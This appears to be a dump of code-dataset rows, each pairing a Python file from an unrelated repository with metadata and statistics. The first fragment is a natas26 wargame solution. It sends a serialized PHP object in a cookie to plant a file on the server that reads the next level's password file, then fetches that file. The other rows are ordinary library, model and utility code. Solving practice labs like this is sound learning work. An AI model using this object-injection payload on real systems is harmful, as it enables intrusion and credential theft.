php_encoded_obj = "Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czo0MjoiL3Zhci93d3cvbmF0YXMvbmF0YXMyNi9pbWcvbmF0YXMyN19wd2QucGhwIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6MjE6InlvdSBhcmUgYmVpbmcgaDRjazNkCiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjYzOiI8P3BocCBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA/PgoiO30"
cookies = {"PHPSESSID": sid, "drawing": php_encoded_obj}
r = s.get(url, auth=(user,pwd), cookies=cookies)
# /var/www/natas/natas26/img/natas27_pwd.php
r = s.get(url + "/img/natas27_pwd.php", auth=(user,pwd), cookies=cookies)
print r.content | 41.333333 | 335 | 0.837366 | 63 | 744 | 9.793651 | 0.52381 | 0.032415 | 0.042139 | 0.025932 | 0.081037 | 0 | 0 | 0 | 0 | 0 | 0 | 0.088953 | 0.063172 | 744 | 18 | 336 | 41.333333 | 0.79627 | 0.056452 | 0 | 0 | 0 | 0 | 0.623395 | 0.495007 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.090909 | null | null | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
a2c1b34f8159e3a843810457ab4c5420d1a24eea | 1,203 | py | Python | lesleyloraine/apps/page/models.py | ninapavlich/lesleyloraine | 33bb44755208ef3dd879ea12d514671076085bcb | [
"MIT"
] | null | null | null | lesleyloraine/apps/page/models.py | ninapavlich/lesleyloraine | 33bb44755208ef3dd879ea12d514671076085bcb | [
"MIT"
] | null | null | null | lesleyloraine/apps/page/models.py | ninapavlich/lesleyloraine | 33bb44755208ef3dd879ea12d514671076085bcb | [
"MIT"
] | null | null | null | from django.db import models
from django.conf import settings
from carbon.compounds.page.models import Page as BasePage
from carbon.compounds.page.models import PageContentBlock as BasePageContentBlock
from carbon.compounds.page.models import GlobalContentBlock as BaseGlobalContentBlock
from carbon.atoms.models.content import SlideMolecule, HasSlidesMolecule
from imagekit import ImageSpec
from imagekit.models import ImageSpecField
from imagekit.models import ProcessedImageField
from imagekit.admin import AdminThumbnail
from imagekit.processors import ResizeToFill, ResizeToFit
from lesleyloraine.apps.media.models import Image
class PageSlide(SlideMolecule):
parent = models.ForeignKey('page.Page')
class Page(BasePage):
default_template = 'page-base'
slide_class = PageSlide
form = models.ForeignKey('form.Form', blank=True, null=True)
def get_page_content_blocks(self):
blocks = PageContentBlock.objects.filter(parent=self).order_by('order')
published = [block for block in blocks if block.is_published()]
return published
class PageContentBlock(BasePageContentBlock):
pass
class GlobalContentBlock(BaseGlobalContentBlock):
pass | 32.513514 | 85 | 0.800499 | 139 | 1,203 | 6.877698 | 0.438849 | 0.075314 | 0.059623 | 0.072176 | 0.109833 | 0.109833 | 0 | 0 | 0 | 0 | 0 | 0 | 0.134663 | 1,203 | 37 | 86 | 32.513514 | 0.918348 | 0 | 0 | 0.076923 | 0 | 0 | 0.026578 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.038462 | false | 0.076923 | 0.461538 | 0 | 0.846154 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 3 |
a2d28524486859d283cdafe67280e81188b01ee7 | 7,363 | py | Python | twilio/rest/api/v2010/account/call/event.py | BrimmingDev/twilio-python | 3226b5fed92b3c2ce64f03e6b19fc4792ef7647f | [
"MIT"
] | 1,362 | 2015-01-04T10:25:18.000Z | 2022-03-24T10:07:08.000Z | twilio/rest/api/v2010/account/call/event.py | BrimmingDev/twilio-python | 3226b5fed92b3c2ce64f03e6b19fc4792ef7647f | [
"MIT"
] | 299 | 2015-01-30T09:52:39.000Z | 2022-03-31T23:03:02.000Z | env/lib/python3.9/site-packages/twilio/rest/api/v2010/account/call/event.py | giannicrivello/AudioShack_BE | b50ba91b6904ac069fc37c98a691729932297b6a | [
"MIT"
] | 622 | 2015-01-03T04:43:09.000Z | 2022-03-29T14:11:00.000Z | # coding=utf-8
r"""
This code was generated by
\ / _ _ _| _ _
| (_)\/(_)(_|\/| |(/_ v1.0.0
/ /
"""
from twilio.base import values
from twilio.base.instance_resource import InstanceResource
from twilio.base.list_resource import ListResource
from twilio.base.page import Page
class EventList(ListResource):
def __init__(self, version, account_sid, call_sid):
"""
Initialize the EventList
:param Version version: Version that contains the resource
:param account_sid: The SID of the Account that created this resource
:param call_sid: The unique string that identifies this resource
:returns: twilio.rest.api.v2010.account.call.event.EventList
:rtype: twilio.rest.api.v2010.account.call.event.EventList
"""
super(EventList, self).__init__(version)
# Path Solution
self._solution = {'account_sid': account_sid, 'call_sid': call_sid, }
self._uri = '/Accounts/{account_sid}/Calls/{call_sid}/Events.json'.format(**self._solution)
def stream(self, limit=None, page_size=None):
"""
Streams EventInstance records from the API as a generator stream.
This operation lazily loads records as efficiently as possible until the limit
is reached.
The results are returned as a generator, so this operation is memory efficient.
:param int limit: Upper limit for the number of records to return. stream()
guarantees to never return more than limit. Default is no limit
:param int page_size: Number of records to fetch per request, when not set will use
the default value of 50 records. If no page_size is defined
but a limit is defined, stream() will attempt to read the
limit with the most efficient page size, i.e. min(limit, 1000)
:returns: Generator that will yield up to limit results
:rtype: list[twilio.rest.api.v2010.account.call.event.EventInstance]
"""
limits = self._version.read_limits(limit, page_size)
page = self.page(page_size=limits['page_size'], )
return self._version.stream(page, limits['limit'])
def list(self, limit=None, page_size=None):
"""
Lists EventInstance records from the API as a list.
Unlike stream(), this operation is eager and will load `limit` records into
memory before returning.
:param int limit: Upper limit for the number of records to return. list() guarantees
never to return more than limit. Default is no limit
:param int page_size: Number of records to fetch per request, when not set will use
the default value of 50 records. If no page_size is defined
but a limit is defined, list() will attempt to read the limit
with the most efficient page size, i.e. min(limit, 1000)
:returns: Generator that will yield up to limit results
:rtype: list[twilio.rest.api.v2010.account.call.event.EventInstance]
"""
return list(self.stream(limit=limit, page_size=page_size, ))
def page(self, page_token=values.unset, page_number=values.unset,
page_size=values.unset):
"""
Retrieve a single page of EventInstance records from the API.
Request is executed immediately
:param str page_token: PageToken provided by the API
:param int page_number: Page Number, this value is simply for client state
:param int page_size: Number of records to return, defaults to 50
:returns: Page of EventInstance
:rtype: twilio.rest.api.v2010.account.call.event.EventPage
"""
data = values.of({'PageToken': page_token, 'Page': page_number, 'PageSize': page_size, })
response = self._version.page(method='GET', uri=self._uri, params=data, )
return EventPage(self._version, response, self._solution)
def get_page(self, target_url):
"""
Retrieve a specific page of EventInstance records from the API.
Request is executed immediately
:param str target_url: API-generated URL for the requested results page
:returns: Page of EventInstance
:rtype: twilio.rest.api.v2010.account.call.event.EventPage
"""
response = self._version.domain.twilio.request(
'GET',
target_url,
)
return EventPage(self._version, response, self._solution)
def __repr__(self):
"""
Provide a friendly representation
:returns: Machine friendly representation
:rtype: str
"""
return '<Twilio.Api.V2010.EventList>'
class EventPage(Page):
def __init__(self, version, response, solution):
"""
Initialize the EventPage
:param Version version: Version that contains the resource
:param Response response: Response from the API
:param account_sid: The SID of the Account that created this resource
:param call_sid: The unique string that identifies this resource
:returns: twilio.rest.api.v2010.account.call.event.EventPage
:rtype: twilio.rest.api.v2010.account.call.event.EventPage
"""
super(EventPage, self).__init__(version, response)
# Path Solution
self._solution = solution
def get_instance(self, payload):
"""
Build an instance of EventInstance
:param dict payload: Payload response from the API
:returns: twilio.rest.api.v2010.account.call.event.EventInstance
:rtype: twilio.rest.api.v2010.account.call.event.EventInstance
"""
return EventInstance(
self._version,
payload,
account_sid=self._solution['account_sid'],
call_sid=self._solution['call_sid'],
)
def __repr__(self):
"""
Provide a friendly representation
:returns: Machine friendly representation
:rtype: str
"""
return '<Twilio.Api.V2010.EventPage>'
class EventInstance(InstanceResource):
def __init__(self, version, payload, account_sid, call_sid):
"""
Initialize the EventInstance
:returns: twilio.rest.api.v2010.account.call.event.EventInstance
:rtype: twilio.rest.api.v2010.account.call.event.EventInstance
"""
super(EventInstance, self).__init__(version)
# Marshaled Properties
self._properties = {'request': payload.get('request'), 'response': payload.get('response'), }
# Context
self._context = None
self._solution = {'account_sid': account_sid, 'call_sid': call_sid, }
@property
def request(self):
"""
:returns: Call Request.
:rtype: dict
"""
return self._properties['request']
@property
def response(self):
"""
:returns: Call Response with Events.
:rtype: dict
"""
return self._properties['response']
def __repr__(self):
"""
Provide a friendly representation
:returns: Machine friendly representation
:rtype: str
"""
return '<Twilio.Api.V2010.EventInstance>'
| 35.399038 | 101 | 0.633437 | 871 | 7,363 | 5.221584 | 0.185993 | 0.028144 | 0.034301 | 0.047493 | 0.576957 | 0.55277 | 0.528584 | 0.514072 | 0.471416 | 0.435576 | 0 | 0.014687 | 0.278691 | 7,363 | 207 | 102 | 35.570048 | 0.841649 | 0.528046 | 0 | 0.160714 | 1 | 0 | 0.103891 | 0.051395 | 0 | 0 | 0 | 0 | 0 | 1 | 0.232143 | false | 0 | 0.071429 | 0 | 0.535714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
a2f8d2f421176605bd3c550a223a967a85d79e10 | 180 | py | Python | examples/soundex_usage.py | chinnichaitanya/spellwise | 93764a4fab7ba5575b161db61469fbd2d8ac62da | [
"MIT"
] | 8 | 2021-01-01T19:39:09.000Z | 2022-02-14T14:18:29.000Z | examples/soundex_usage.py | chinnichaitanya/spellwise | 93764a4fab7ba5575b161db61469fbd2d8ac62da | [
"MIT"
] | null | null | null | examples/soundex_usage.py | chinnichaitanya/spellwise | 93764a4fab7ba5575b161db61469fbd2d8ac62da | [
"MIT"
] | 2 | 2021-07-23T10:52:21.000Z | 2022-01-28T19:59:14.000Z | from spellwise import Soundex
suggester = Soundex()
suggester.add_from_path("examples/data/american-english")
suggestions = suggester.get_suggestions("hallo")
print(suggestions)
| 22.5 | 57 | 0.816667 | 21 | 180 | 6.857143 | 0.714286 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.077778 | 180 | 7 | 58 | 25.714286 | 0.86747 | 0 | 0 | 0 | 0 | 0 | 0.194444 | 0.166667 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0.2 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
0c048ebb3f9ea419b8f1f8c5b225bc1299ba8ed8 | 302 | py | Python | jobshop_gym/environment/reward_wrappers.py | isse-augsburg/MATE | 4d8a8a535c0c2ef3c15af469acf30c4df7a44928 | [
"MIT"
] | null | null | null | jobshop_gym/environment/reward_wrappers.py | isse-augsburg/MATE | 4d8a8a535c0c2ef3c15af469acf30c4df7a44928 | [
"MIT"
] | null | null | null | jobshop_gym/environment/reward_wrappers.py | isse-augsburg/MATE | 4d8a8a535c0c2ef3c15af469acf30c4df7a44928 | [
"MIT"
] | null | null | null | import gym
class MakespanRewardWrapper(gym.RewardWrapper):
"""
Return the time needed to complete all jobs.
"""
def __init__(self, env):
super().__init__(env)
self._settings = env._settings
def reward(self, reward):
return [-r['makespan'] for r in reward] | 23.230769 | 48 | 0.635762 | 36 | 302 | 5.055556 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.251656 | 302 | 13 | 49 | 23.230769 | 0.80531 | 0.145695 | 0 | 0 | 0 | 0 | 0.032922 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0.142857 | 0.142857 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
0c110d616064835cf9664ce7418ea6ebfb9051a9 | 153 | py | Python | recipe/run_test.py | ReimarBauer/basemap-feedstock | b7d83146b220ac002416a7fbb369f2e9a4c43227 | [
"BSD-3-Clause"
] | 8 | 2019-03-24T02:14:53.000Z | 2020-11-21T14:24:34.000Z | recipe/run_test.py | ReimarBauer/basemap-feedstock | b7d83146b220ac002416a7fbb369f2e9a4c43227 | [
"BSD-3-Clause"
] | 86 | 2016-03-25T20:13:49.000Z | 2022-02-18T20:21:36.000Z | recipe/run_test.py | ReimarBauer/basemap-feedstock | b7d83146b220ac002416a7fbb369f2e9a4c43227 | [
"BSD-3-Clause"
] | 11 | 2016-03-25T18:13:22.000Z | 2020-01-22T17:08:53.000Z | import matplotlib
matplotlib.use('agg')
from mpl_toolkits.basemap import Basemap
m = Basemap(projection='ortho', lat_0=45, lon_0=-100, resolution='c')
| 21.857143 | 69 | 0.764706 | 23 | 153 | 4.956522 | 0.782609 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.050725 | 0.098039 | 153 | 6 | 70 | 25.5 | 0.775362 | 0 | 0 | 0 | 0 | 0 | 0.058824 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
0c18d2854dcc55368c6055ce934762321352a20f | 1,095 | py | Python | pybible/classes/chapter.py | tonybaloney/pybible-cli | 04c12b6abf2a79a89fe607482e006e604f3c57db | [
"MIT"
] | null | null | null | pybible/classes/chapter.py | tonybaloney/pybible-cli | 04c12b6abf2a79a89fe607482e006e604f3c57db | [
"MIT"
] | null | null | null | pybible/classes/chapter.py | tonybaloney/pybible-cli | 04c12b6abf2a79a89fe607482e006e604f3c57db | [
"MIT"
] | null | null | null | import sys
class Chapter:
"""
A class used to represent a chapter from a book of the bible.
"""
def __init__(self, number: int, verses: tuple):
"""
Initialize a `Chapter` object.
:Parameters:
- `number`: integer containing the number of the chapter.
- `verses`: tuple of verses in the chapter.
"""
self.__number = number
self.__verses = verses
def __len__(self):
return len(self.verses)
def __getitem__(self, item):
try:
return self.verses[item]
except IndexError:
print(f"Verse number {item} not found in Chapter {self.number}.")
sys.exit(4)
def __repr__(self):
return f'Chapter({self.number}, {self.verses})'
def __str__(self):
return f'Chapter {self.number}'
@property
def number(self):
"""Integer with the number of the chapter."""
return self.__number
@property
def verses(self):
"""Tuple of `Verse` objects inside the chapter."""
return self.__verses
| 24.333333 | 77 | 0.576256 | 128 | 1,095 | 4.710938 | 0.359375 | 0.099502 | 0.112769 | 0.046434 | 0.162521 | 0.092869 | 0 | 0 | 0 | 0 | 0 | 0.001339 | 0.317808 | 1,095 | 44 | 78 | 24.886364 | 0.80589 | 0.274886 | 0 | 0.086957 | 0 | 0 | 0.156727 | 0.030513 | 0 | 0 | 0 | 0 | 0 | 1 | 0.304348 | false | 0 | 0.043478 | 0.130435 | 0.652174 | 0.043478 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
0c1a6e56cc6db4d63869e13bf0a99ca8e16cb2cd | 3,833 | py | Python | allocator.py | javicacheiro/resource-allocator | 027bbb4090c24c1d4d26c3bfb96059f84dbebbc6 | [
"MIT"
] | null | null | null | allocator.py | javicacheiro/resource-allocator | 027bbb4090c24c1d4d26c3bfb96059f84dbebbc6 | [
"MIT"
] | null | null | null | allocator.py | javicacheiro/resource-allocator | 027bbb4090c24c1d4d26c3bfb96059f84dbebbc6 | [
"MIT"
] | null | null | null | """Resource Allocation API"""
import kvstore
PREFIX = 'resources'
DISK_PREFIX = 'disks'
ADDRESS_PREFIX = 'networks'
class ResourceManager(object):
"""Resource Management base class"""
def __init__(self, endpoint='http://127.0.0.1:8500/v1/kv'):
self.endpoint = endpoint
self._kv = kvstore.Client(self.endpoint)
def get_status(self, resource_status_path):
"""Returns the status of all the resources of a given node"""
subtree = self._kv.recurse(
'{}/{}'.format(PREFIX, resource_status_path))
return {self._parse_res_name(k):
subtree[k] for k in subtree.keys() if subtree[k] != ""}
def set_status(self, resource_status_path, status):
"""Sets the status of a given resource"""
self._kv.set(
'{}/{}/status'.format(PREFIX, resource_status_path), status)
def get_free(self, resource_status_path):
"""Returns the list of free resources of a given node"""
subtree = self._kv.recurse('{}/{}'.format(PREFIX, resource_status_path))
free_res = self._filter_res(subtree, status='free')
return free_res
def get_used(self, resource_status_path):
"""Returns the list of used resources of a given node"""
subtree = self._kv.recurse('{}/{}'.format(PREFIX, resource_status_path))
used_res = self._filter_res(subtree, status='used')
return used_res
def _parse_res_name(self, key):
"""Extract disk name from key"""
return key.split('/')[-2]
def _filter_res(self, subtree, status='free'):
"""Filter resources based on status"""
if status == 'free':
filtered_res = [self._parse_res_name(k)
for k in sorted(subtree.keys())
if subtree[k] == 'free']
elif status == 'used':
filtered_res = [self._parse_res_name(k)
for k in sorted(subtree.keys())
# Skip also the empty key (tree directory)
if subtree[k] != 'free' and subtree[k] != ""]
else:
raise StatusNotSupportedError()
return filtered_res
class DiskManager(ResourceManager):
"""Manage disk allocations"""
def get_used(self, node):
return ResourceManager.get_used(self, DISK_PREFIX + "/" + node)
def get_free(self, node):
disks = ResourceManager.get_free(self, DISK_PREFIX + "/" + node)
return {'number': len(disks), "disks": disks}
def get_status(self, node, disk):
return ResourceManager.get_status(self, DISK_PREFIX + "/" + node + "/" + disk)
def set_status(self, node, disk, status):
return ResourceManager.set_status(self, DISK_PREFIX + "/" + node + "/" + disk, status)
def set_used(self, node, disk):
return self.set_status(node, disk, "used")
def set_free(self, node, disk):
return self.set_status(node, disk, "free")
class AddressManager(ResourceManager):
"""Manage network address allocations"""
def get_used(self, network):
return ResourceManager.get_used(self, ADDRESS_PREFIX + "/" + network)
def get_free(self, network):
ips = ResourceManager.get_free(self, ADDRESS_PREFIX + "/" + network)
return {'number': len(ips), "ips": ips}
def get_status(self, network, ip):
return ResourceManager.get_status(self, ADDRESS_PREFIX + network + "/" + ip)
def set_status(self, network, ip, status):
return ResourceManager.set_status(self, ADDRESS_PREFIX + network + "/" + ip, status)
def set_used(self, network, ip):
return self.set_status(network, ip, "used")
def set_free(self, network, ip):
return self.set_status(network, ip, "free")
class StatusNotSupportedError(Exception):
pass
| 35.165138 | 94 | 0.618576 | 463 | 3,833 | 4.930886 | 0.185745 | 0.043802 | 0.063075 | 0.038546 | 0.505913 | 0.359615 | 0.241349 | 0.241349 | 0.20806 | 0.137976 | 0 | 0.00419 | 0.252805 | 3,833 | 108 | 95 | 35.490741 | 0.792947 | 0.106705 | 0 | 0.088235 | 0 | 0 | 0.044767 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.279412 | false | 0.014706 | 0.014706 | 0.147059 | 0.602941 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
0c1d952f3ea61ea8e813062af8c075cef229b0fc | 203 | py | Python | sol/sol_in1to20.py | igamberdievhasan/codingbat-notebooks | b0a41f22b9064efc7f7f7da55e8c99fc21ce364d | [
"Apache-2.0"
] | null | null | null | sol/sol_in1to20.py | igamberdievhasan/codingbat-notebooks | b0a41f22b9064efc7f7f7da55e8c99fc21ce364d | [
"Apache-2.0"
] | 6 | 2020-03-02T20:59:43.000Z | 2020-03-18T01:20:30.000Z | sol/sol_in1to20.py | igamberdievhasan/codingbat-notebooks | b0a41f22b9064efc7f7f7da55e8c99fc21ce364d | [
"Apache-2.0"
] | 1 | 2020-03-13T02:48:04.000Z | 2020-03-13T02:48:04.000Z | def in1to10(n, outside_mode):
if not outside_mode and n>=1 and n<=10:
return True
elif outside_mode:
if n<=1 or n>=10:
return True
else:
return False
else:
return False
| 18.454545 | 41 | 0.62069 | 34 | 203 | 3.617647 | 0.470588 | 0.268293 | 0.211382 | 0.211382 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.062937 | 0.295567 | 203 | 10 | 42 | 20.3 | 0.797203 | 0 | 0 | 0.6 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
0c24a05e84f1467964fd17621dcc88aacde45b8e | 210 | py | Python | tests/test_plotly.py | paultimothymooney/docker-python-2 | 15c3f923e2ccedb46e81bcb8177a67fc42d90bcc | [
"Apache-2.0"
] | 2,030 | 2015-04-14T15:44:41.000Z | 2022-03-29T18:06:53.000Z | tests/test_plotly.py | paultimothymooney/docker-python-2 | 15c3f923e2ccedb46e81bcb8177a67fc42d90bcc | [
"Apache-2.0"
] | 666 | 2015-04-14T20:14:30.000Z | 2022-03-29T12:59:21.000Z | tests/test_plotly.py | paultimothymooney/docker-python-2 | 15c3f923e2ccedb46e81bcb8177a67fc42d90bcc | [
"Apache-2.0"
] | 951 | 2015-05-07T18:26:08.000Z | 2022-03-27T08:46:05.000Z | import unittest
import plotly.graph_objs as go
class TestPlotly(unittest.TestCase):
def test_figure(self):
trace = {'x': [1, 2], 'y': [1, 3]}
data = [ trace ]
go.Figure(data=data)
| 21 | 42 | 0.595238 | 29 | 210 | 4.241379 | 0.724138 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025641 | 0.257143 | 210 | 9 | 43 | 23.333333 | 0.762821 | 0 | 0 | 0 | 0 | 0 | 0.009524 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.285714 | 0 | 0.571429 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
0c27288d94fefb7501b797711de9fa272b432d6c | 208 | py | Python | accounts/urls.py | prettyirrelevant/instagram-api-clone | 1af6066694a7bed60ab1ddd1141c0832efaccaf2 | [
"MIT"
] | null | null | null | accounts/urls.py | prettyirrelevant/instagram-api-clone | 1af6066694a7bed60ab1ddd1141c0832efaccaf2 | [
"MIT"
] | null | null | null | accounts/urls.py | prettyirrelevant/instagram-api-clone | 1af6066694a7bed60ab1ddd1141c0832efaccaf2 | [
"MIT"
] | null | null | null | from .views import RegisterView, LoginView
from django.urls import path
urlpatterns = [
path('register', RegisterView.as_view(), name='register'),
path('login', LoginView.as_view(), name='login'),
] | 26 | 62 | 0.711538 | 25 | 208 | 5.84 | 0.56 | 0.082192 | 0.136986 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.134615 | 208 | 8 | 63 | 26 | 0.811111 | 0 | 0 | 0 | 0 | 0 | 0.124402 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
0c2ad1f697b667beb0be0040e04c0a273bb6e332 | 251 | py | Python | report/models.py | rafimuhammad01/donasi-covid-19-2 | eee8fb28ce492639d900923c985bbb5e0a8ec07f | [
"Unlicense"
] | null | null | null | report/models.py | rafimuhammad01/donasi-covid-19-2 | eee8fb28ce492639d900923c985bbb5e0a8ec07f | [
"Unlicense"
] | null | null | null | report/models.py | rafimuhammad01/donasi-covid-19-2 | eee8fb28ce492639d900923c985bbb5e0a8ec07f | [
"Unlicense"
] | null | null | null | from django.db import models
# Create your models here.
class Report(models.Model):
name = models.CharField(max_length=100, null=True)
description = models.TextField(max_length=500, null=True)
def __str__(self):
return self.name
| 25.1 | 61 | 0.721116 | 35 | 251 | 5 | 0.714286 | 0.102857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.029126 | 0.179283 | 251 | 9 | 62 | 27.888889 | 0.820388 | 0.095618 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.166667 | 0.166667 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
0c3174e975f8763558fe9b6ad1e1c56e819faa65 | 164 | py | Python | xinit_header.py | basicworld/xutils | a46f0661b712f60689cb43e0d952cfe1cbec756d | [
"MIT"
] | null | null | null | xinit_header.py | basicworld/xutils | a46f0661b712f60689cb43e0d952cfe1cbec756d | [
"MIT"
] | null | null | null | xinit_header.py | basicworld/xutils | a46f0661b712f60689cb43e0d952cfe1cbec756d | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
"""
import os
import sys
reload(sys)
sys.setdefaultencoding('utf8') # 编译环境utf8
THIS_DIR = os.path.realpath(os.path.dirname(__file__))
| 16.4 | 54 | 0.682927 | 22 | 164 | 4.863636 | 0.727273 | 0.11215 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020833 | 0.121951 | 164 | 9 | 55 | 18.222222 | 0.722222 | 0.182927 | 0 | 0 | 0 | 0 | 0.03252 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
0c5a55bf835f4ae0af875f07807103cb95a99ead | 342 | py | Python | boards/tests/conftest.py | alisonamerico/django-beginners-guide | 53431486b0d350d14ec7a289a9ab396b512c790a | [
"MIT"
] | null | null | null | boards/tests/conftest.py | alisonamerico/django-beginners-guide | 53431486b0d350d14ec7a289a9ab396b512c790a | [
"MIT"
] | null | null | null | boards/tests/conftest.py | alisonamerico/django-beginners-guide | 53431486b0d350d14ec7a289a9ab396b512c790a | [
"MIT"
] | null | null | null | import pytest
from model_bakery import baker
@pytest.fixture
def usuario_logado(db, django_user_model):
usuario_modelo = baker.make(django_user_model, username='morfeu', email='morfeu@email.com')
return usuario_modelo
def client_com_usuario_logado(usuario_logado, client):
client.force_login(usuario_logado)
return client
| 24.428571 | 95 | 0.795322 | 47 | 342 | 5.489362 | 0.489362 | 0.20155 | 0.116279 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125731 | 342 | 13 | 96 | 26.307692 | 0.862876 | 0 | 0 | 0 | 0 | 0 | 0.064327 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.222222 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
0c64c721f7af71e8c5e7fd62b72a353219be02a5 | 457 | py | Python | nmail/resources/common.py | allexlima/nMail | c1e2c96da702d1e3510a6f2547a5f379c7cf3a64 | [
"MIT"
